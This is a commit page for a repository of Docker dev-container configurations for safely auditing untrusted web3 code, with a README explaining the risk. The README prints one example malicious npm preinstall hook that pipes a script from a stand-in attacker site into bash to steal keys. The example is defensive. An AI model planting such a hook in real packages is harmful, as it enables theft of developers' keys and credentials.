Skip to content

Commit 84dd838

Browse files
committed
init commit
0 parents  commit 84dd838

10 files changed

Lines changed: 374 additions & 0 deletions

File tree

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# .gitignore
2+
**/projects/*
3+
!**/projects/.gitkeep
4+
.DS_Store

LICENSE

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
Copyright 2025 Cyfrin Inc.
2+
3+
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4+
5+
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6+
7+
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8+

README.md

Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
*Important: This repo is a work in progress*
2+
3+
# Web3 Dev Containers
4+
5+
A repo to help you run code in a safer manner in the web3 ecosystem. You open up your code in an isolated docker environment so you have a smaller chance of getting hacked.
6+
7+
*Important: This isn't a fail-safe!*
8+
9+
You can read more about the importance of sandboxing, containers vs VMs, and more in the [Red Guild Blog](https://blog.theredguild.org/where-do-you-run-your-code/).
10+
11+
## Table of contents
12+
13+
- [Web3 Dev Containers](#web3-dev-containers)
14+
- [Table of contents](#table-of-contents)
15+
- [Why are dev containers important?](#why-are-dev-containers-important)
16+
- [Examples of when you'd want to use a dev container](#examples-of-when-youd-want-to-use-a-dev-container)
17+
- [Getting Started](#getting-started)
18+
- [Requirements](#requirements)
19+
- [Optional VSCode Requirements](#optional-vscode-requirements)
20+
- [Installation](#installation)
21+
- [Quickstart - VSCode and Foundry on a new project, unmounted](#quickstart---vscode-and-foundry-on-a-new-project-unmounted)
22+
- [Usage](#usage)
23+
- [VSCode](#vscode)
24+
- [Mounted](#mounted)
25+
- [Using on an existing project](#using-on-an-existing-project)
26+
- [Raw Docker](#raw-docker)
27+
- [Mounted](#mounted-1)
28+
- [Using on an existing project](#using-on-an-existing-project-1)
29+
- [Adding new projects](#adding-new-projects)
30+
- [Adding new tools/Dockerfiles/containers](#adding-new-toolsdockerfilescontainers)
31+
- [License](#license)
32+
- [Acknowledgements](#acknowledgements)
33+
34+
## Why are dev containers important?
35+
36+
So you don't get *rekt*, big dog.
37+
38+
Imagine you're auditing a suspicious smart contract and it has a `package.json` that includes a malicious preinstall script:
39+
40+
```json
41+
{
42+
"name": "suspicious-contract",
43+
"scripts": {
44+
"preinstall": "curl -s http://some-malicious-site.com/steal.sh | bash"
45+
}
46+
}
47+
```
48+
49+
If you run npm install on your host machine, you'll essentailly be running a bash script from a random website on your machine! It could do things like:
50+
- The script could steal your private keys from `~/.ssh`
51+
- Steal encrypted keys from `~/.foundry`
52+
- Install malware somewhere in your files
53+
- Literally anything
54+
55+
But in a dev container:
56+
- The script is isolated to the container environment
57+
- Can't access your host files unless explicitly mounted
58+
- Even if it installs malware, it's confined to the container
59+
- When you're done, you can destroy the container without affecting your host
60+
61+
The container provides a disposable, isolated environment where you can more safely examine and run suspicious code.
62+
63+
## Examples of when you'd want to use a dev container
64+
65+
- When you're auditing code that you're not sure you trust
66+
- When you get an interview and the interviewer asks you to download and run some code (by the way, this is usually a scam anyways)
67+
- When you're going to download some suspicious packages
68+
- Or really, whenever you work on any project at all so that you isolate your dev environment from your host machine
69+
70+
# Getting Started
71+
72+
## Requirements
73+
74+
- [Docker](https://docs.docker.com/get-docker/)
75+
- Must have installed on your local OS: `docker` and `docker-buildx`.
76+
- You'll know you have it installed if you can run `docker --version` in your terminal and you get an output like `Docker version xx.x.x, build xxxxxxxx` (`x` are numbers)
77+
78+
## Optional VSCode Requirements
79+
80+
- [VSCode](https://code.visualstudio.com/)
81+
- DevContainer extension by MS: `ms-vscode-remote.remote-containers`
82+
83+
## Installation
84+
85+
Please see [VSCode](#VSCode) or [Raw Docker](#Raw-Docker) for more detailed instructions.
86+
87+
```bash
88+
git clone https://github.com/Cyfrin/web3-dev-containers
89+
cd web3-dev-containers
90+
```
91+
92+
## Quickstart - VSCode and Foundry on a new project, unmounted
93+
94+
Please see [VSCode](#VSCode) or [Raw Docker](#Raw-Docker) for more detailed instructions.
95+
96+
> **Note**
97+
> `unmounted`: This means that all the code we work with will be destroyed once we stop the container. This is the safest way to work with code. There are times when we want to save our code, you can see those instructions in the `mounted` section in the [Usage](#Usage) section.
98+
> If you want to save the changes you make to your code back to your host computer, you can use the `mounted` version of the dev container.
99+
100+
1. Open the `foundry/unmounted` folder in VSCode
101+
102+
After you clone this repo, open the `web3-dev-containers/foundry/unmounted` folder in VS Code.
103+
104+
```bash
105+
code ./foundry/unmounted # If you have the `code` terminal command installed
106+
107+
# Otherwise, you can just do `File` -> `Open Folder` and select the `web3-dev-containers` folder
108+
```
109+
110+
2. Run `Dev Containers: Reopen in Container` from the command palette
111+
112+
To get to the command pallette, you can use the following shortcuts:
113+
- Windows/Linux: `Ctrl+Shift+P`
114+
- macOS: `Cmd+Shift+P`
115+
116+
Then type `Dev Containers: Reopen in Container` and select it.
117+
118+
You should get opened up into a new window that looks like this:
119+
120+
<p align="center">
121+
<br />
122+
<img src="./img/dev-container-image.png" width="750" alt=""/></a>
123+
<br />
124+
</p>
125+
126+
3. Clone your project into the `projects` folder
127+
128+
You should be at `/workspace`.
129+
130+
```bash
131+
git clone https://github.com/Cyfrin/foundry-fund-me-cu # Example project
132+
cd foundry-fund-me-cu
133+
forge build
134+
forge test
135+
```
136+
137+
This will clone the project into the `projects` folder and you can start working with your projects, knowing that scripts are isloated to this dev container!
138+
139+
4. Tear down
140+
141+
When you're done, you can delete the docker container in your docker dashboard, or run `docker ps` to get the container ID and run `docker stop <container-id>` to stop the container.
142+
143+
To do it via the CLI, back on your host machine run:
144+
145+
```bash
146+
docker ps # You'll get an output of different running docker containers
147+
docker stop <container-id> # Replace <container-id> with the container ID of the dev container
148+
149+
# If you're sure you don't want any stopped containers, you can then optionally run:
150+
docker system prune # And then `y` to confirm
151+
# Be sure you actually want to run this
152+
```
153+
154+
This will delete all traces of the code you worked on in that container!
155+
156+
# Usage
157+
158+
## VSCode
159+
160+
Please see the [Quickstart](#Quickstart---VSCode-and-Foundry-on-a-new-project) for a quick guide on how to use this with VSCode on a new project.
161+
162+
### Mounted
163+
164+
### Using on an existing project
165+
166+
## Raw Docker
167+
168+
### Mounted
169+
170+
### Using on an existing project
171+
172+
## Adding new projects
173+
174+
## Adding new tools/Dockerfiles/containers
175+
176+
# License
177+
178+
# Acknowledgements
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# Base debian build (latest).
2+
FROM mcr.microsoft.com/vscode/devcontainers/base:debian
3+
4+
# Update packages.
5+
RUN apt-get update
6+
7+
# Set the default shell to zsh
8+
ENV SHELL=/usr/bin/zsh
9+
10+
# Running everything under zsh
11+
SHELL ["/usr/bin/zsh", "-c"]
12+
13+
# Dropping privileges
14+
USER vscode
15+
16+
# Install rust
17+
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && source $HOME/.cargo/env
18+
19+
# Install uv and add to PATH
20+
# See https://docs.astral.sh/uv/guides/integration/docker/
21+
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
22+
ENV PATH="/home/vscode/.local/bin:$PATH"
23+
24+
# Add uv to shell configuration
25+
RUN echo 'export PATH="/home/vscode/.cargo/bin:$PATH"' >> ~/.zshrc
26+
27+
# Install tools using uv
28+
RUN uv tool install solc-select
29+
RUN uv tool install slither-analyzer
30+
RUN uv tool install crytic-compile
31+
32+
# Foundry framework
33+
RUN curl -L https://foundry.paradigm.xyz | zsh
34+
RUN foundryup
35+
36+
# Aderyn
37+
RUN curl -L https://raw.githubusercontent.com/Cyfrin/aderyn/refs/heads/feat/more-robust-installer/cyfrinup/install | zsh
38+
RUN cyfrinup
39+
40+
# Clean up
41+
RUN sudo apt-get autoremove -y && sudo apt-get clean -y
Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
// Inspired by https://blog.theredguild.org/where-do-you-run-your-code/
3+
// For format details, see https://aka.ms/devcontainer.json.
4+
"name": "Cyfrin's Solidity & Foundry DevContainer",
5+
// You can use image or directly use a Dockerfile or Docker Compose file.
6+
// More info: https://containers.dev/guide/dockerfile
7+
// https://github.com/devcontainers/images/tree/main/src/base-alpine
8+
// "image": "mcr.microsoft.com/devcontainers/base:debian",
9+
"build": {
10+
"dockerfile": "Dockerfile"
11+
},
12+
// Features to add to the dev container. More info: https://containers.dev/features.
13+
"features": {},
14+
// Configure tool-specific properties.
15+
"customizations": {
16+
// Configure properties specific to VS Code.
17+
"vscode": {
18+
"extensions": [
19+
"NomicFoundation.hardhat-solidity",
20+
"tintinweb.solidity-visual-auditor",
21+
"trailofbits.weaudit",
22+
"tintinweb.solidity-metrics"
23+
],
24+
"settings": {
25+
"terminal.integrated.defaultProfile.linux": "zsh",
26+
"terminal.integrated.profiles.linux": {
27+
"zsh": {
28+
"path": "/usr/bin/zsh"
29+
}
30+
}
31+
}
32+
}
33+
},
34+
// Use 'forwardPorts' to make a list of ports inside the container available locally.
35+
// "forwardPorts": [3000],
36+
// Use 'portsAttributes' to set default properties for specific forwarded ports.
37+
// More info: https://containers.dev/implementors/json_reference/#port-attributes
38+
// "portsAttributes": {
39+
// "3000": {
40+
// "label": "Hello Remote World",
41+
// "onAutoForward": "notify"
42+
// }
43+
// },
44+
// Use 'postCreateCommand' to run commands after the container is created.
45+
// We're using a gist, but you can also reference the raw install-tool from your repo.
46+
// Unless you mount the scripts folder as
47+
"postCreateCommand": "echo Welcome to Cyfrin's dev-container. If you'd like to build your own, you can check out an article The Red Guild have created for you at their blog under https://blog.theredguild.org/where-do-you-run-your-code;zsh"
48+
// Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root.
49+
// "remoteUser": "root"
50+
}

foundry/mounted/projects/.gitkeep

Whitespace-only changes.
Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
# Base debian build (latest).
2+
FROM mcr.microsoft.com/vscode/devcontainers/base:debian
3+
4+
# Update packages.
5+
RUN apt-get update
6+
7+
# Set the default shell to zsh
8+
ENV SHELL=/usr/bin/zsh
9+
10+
# Running everything under zsh
11+
SHELL ["/usr/bin/zsh", "-c"]
12+
13+
# Dropping privileges
14+
USER vscode
15+
16+
# Install rust
17+
RUN curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y && source $HOME/.cargo/env
18+
19+
# Install uv and add to PATH
20+
# See https://docs.astral.sh/uv/guides/integration/docker/
21+
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
22+
ENV PATH="/home/vscode/.local/bin:$PATH"
23+
24+
# Add uv to shell configuration
25+
RUN echo 'export PATH="/home/vscode/.cargo/bin:$PATH"' >> ~/.zshrc
26+
27+
# Install tools using uv
28+
RUN uv tool install solc-select
29+
RUN uv tool install slither-analyzer
30+
RUN uv tool install crytic-compile
31+
32+
# Foundry framework
33+
RUN curl -L https://foundry.paradigm.xyz | zsh
34+
RUN foundryup
35+
36+
# Aderyn
37+
RUN curl -L https://raw.githubusercontent.com/Cyfrin/aderyn/refs/heads/feat/more-robust-installer/cyfrinup/install | zsh
38+
RUN cyfrinup
39+
40+
# Clean up
41+
RUN sudo apt-get autoremove -y && sudo apt-get clean -y
Lines changed: 52 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,52 @@
1+
{
2+
// Inspired by https://blog.theredguild.org/where-do-you-run-your-code/
3+
// For format details, see https://aka.ms/devcontainer.json.
4+
"name": "Cyfrin's Solidity & Foundry DevContainer",
5+
// You can use image or directly use a Dockerfile or Docker Compose file.
6+
// More info: https://containers.dev/guide/dockerfile
7+
// https://github.com/devcontainers/images/tree/main/src/base-alpine
8+
// "image": "mcr.microsoft.com/devcontainers/base:debian",
9+
"build": {
10+
"dockerfile": "Dockerfile"
11+
},
12+
"workspaceMount": "type=tmpfs,target=/workspace",
13+
"workspaceFolder": "/workspace",
14+
// Features to add to the dev container. More info: https://containers.dev/features.
15+
"features": {},
16+
// Configure tool-specific properties.
17+
"customizations": {
18+
// Configure properties specific to VS Code.
19+
"vscode": {
20+
"extensions": [
21+
"NomicFoundation.hardhat-solidity",
22+
"tintinweb.solidity-visual-auditor",
23+
"trailofbits.weaudit",
24+
"tintinweb.solidity-metrics"
25+
],
26+
"settings": {
27+
"terminal.integrated.defaultProfile.linux": "zsh",
28+
"terminal.integrated.profiles.linux": {
29+
"zsh": {
30+
"path": "/usr/bin/zsh"
31+
}
32+
}
33+
}
34+
}
35+
},
36+
// Use 'forwardPorts' to make a list of ports inside the container available locally.
37+
// "forwardPorts": [3000],
38+
// Use 'portsAttributes' to set default properties for specific forwarded ports.
39+
// More info: https://containers.dev/implementors/json_reference/#port-attributes
40+
// "portsAttributes": {
41+
// "3000": {
42+
// "label": "Hello Remote World",
43+
// "onAutoForward": "notify"
44+
// }
45+
// },
46+
// Use 'postCreateCommand' to run commands after the container is created.
47+
// We're using a gist, but you can also reference the raw install-tool from your repo.
48+
// Unless you mount the scripts folder as
49+
"postCreateCommand": "echo Welcome to Cyfrin's dev-container. If you'd like to build your own, you can check out an article The Red Guild have created for you at their blog under https://blog.theredguild.org/where-do-you-run-your-code;zsh"
50+
// Uncomment to connect as root instead. More info: https://aka.ms/dev-containers-non-root.
51+
// "remoteUser": "root"
52+
}

img/dev-container-image.png

393 KB
Loading

moccasin/projects/.gitkeep

Whitespace-only changes.

0 commit comments

Comments
 (0)